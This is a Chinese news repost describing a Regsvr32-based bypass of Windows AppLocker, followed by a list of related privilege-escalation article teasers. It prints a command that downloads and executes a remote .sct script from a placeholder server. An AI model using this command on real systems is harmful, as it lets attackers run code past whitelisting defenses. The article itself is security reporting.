Windows AppLocker被绕过：攻击者可不提权联网注入DLL

AppLocker是Windows 7和Windows Server 2008 R2中引入的一项安全功能，旨在帮助管理员们指定哪个用户或用户组能够访问/运行某一个文件。然而据外媒报道，已经有人找到了利用Windows系统中Regsvr32命令行工具的某个隐藏特性，来绕过Windows AppLocker安全措施并正常注册动态链接库(DLLs)的方法。

Regsvr32则是一款可被安装工具（或批处理脚本）使用，以便快速注册动态链接库的脚本工具。

照理说，微软既然把这款“中性”而又危险的工具留在系统中，就应该管好它不被管理员之外的人所滥用。但遗憾的是，我们几乎不可能检测到这种类型的攻击。

据安全研究人员Casey Smith所述，当攻击者在某台受感染的工作站上立足之后，就可以滥用Regsvr32、通过网络下载一个COM脚本程序（.sct文件），然后在本地机器上注册一个DLL。

更糟糕的是，攻击者甚至无需取得管理员权限。Regsvr32可借助代理和TLS连接、重定向等功能，并且它拥有微软自家的证书，所以可以执行任何看似正常的背景活动命令。

下面是标准的Regsvr32参数、以及而已命令的对比：

regsvr32 [/u] [/s] [/n] [/i[:cmdline]] dllname

regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll

Smith还指出，“regsvr32能够接收的脚本网址没有很好的记录，要触发这一‘旁路’，可以把内置VB和JS元素的代码块放进去”。

在进一步的测试中，研究人员还在GitHub上放出了系统管理员能够下载的“概念验证脚本”（通过Regsvr32并打开一个后门、或者基于HTTP的反向shell）。

从理论上来说，这种类型的“漏洞”允许攻击者访问注册所有DLL，然后在被感染的计算机上执行恶意代码，更别说管理员权限了。

本文转自d1net（转载）

Windows AppLocker被绕过：攻击者可不提权联网注入DLL相关推荐

越过游戏服务器修改,“撬锁”实战：绕过云锁提权某游戏私服
原标题:"撬锁"实战:绕过云锁提权某游戏私服严正声明:本文仅限于技术讨论与分享,严禁用于非法途径. 前言朋友给我了我一个游戏私服的shell,说是提权不下服务器,让我帮忙看看. ...
烽火狼烟丨VMware Workspace ONE Access身份验证绕过、本地提权漏洞风险提示
1.漏洞概述近日,WebRAY安全服务产品线监测到VMware官方发布安全公告,修复了两个存在于VMware Workspace ONE Access产品的漏洞. VMware认证绕过漏洞(CVE- ...
Windows与Linux的MYSQL UDF提权分析
原理分析什么是UDF 所谓UDF 就是user define function的简称,就是用户自定义函数,用户可以添加函数到mysql中实现功能的扩充,调用方法和一般函数一样类似于database( ...
从 CVE-2020-1048 到 CVE-2020-17001：Windows打印机模块中多个提权漏洞分析
聚焦源代码安全,网罗国内外最新资讯! Windows 打印组件自 Win2000时代就被引入,作为一个"历史悠久"的组件其安全问题也一直广受安全研究人员关注.近期围绕 print ...
操作系统权限提升(十五)之绕过UAC提权-基于白名单DLL劫持绕过UAC提权
系列文章操作系统权限提升(十二)之绕过UAC提权-Windows UAC概述操作系统权限提升(十三)之绕过UAC提权-MSF和CS绕过UAC提权操作系统权限提升(十四)之绕过UAC提权-基于白名 ...
系统提权之：Windows 提权
郑重声明: 本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关.倡导维护网络安全人人有责,共同维护网络文明和谐. Wi ...
windows PR提权
漏洞概述 Microsoft Windows RPCSS服务隔离本地权限提升漏洞 RPCSS服务没有正确地隔离 NetworkService 或 LocalService 帐号下运行的进程,本地攻击者 ...
操作系统权限提升(三)之Windows系统内核溢出漏洞提权
系列文章操作系统权限提升(一)之操作系统权限介绍操作系统权限提升(二)之常见提权的环境介绍注:阅读本编文章前,请先阅读系列文章,以免造成看不懂的情况!!! Windows系统内核溢出漏洞提权介绍 ...
Windows系统提权姿势
windows系统提权权限提升简介权限提升概述什么是提权提权分类提权条件 Windows提权思路 Windows系统提权 Windows提权信息收集 WMIC信息收集自动信息收集提权工具 ...
Windows核心编程_提权
在Windows下编程有些涉及到硬件或者跨内存的API会发现失效了,原因是因为权限问题,这也是Windows出于安全的保护,但是事物都有两面性的,Windows又为我们提供了提权的API! 1.Adj ...

Windows AppLocker被绕过：攻击者可不提权联网注入DLL

Windows AppLocker被绕过：攻击者可不提权联网注入DLL相关推荐

最新文章

热门文章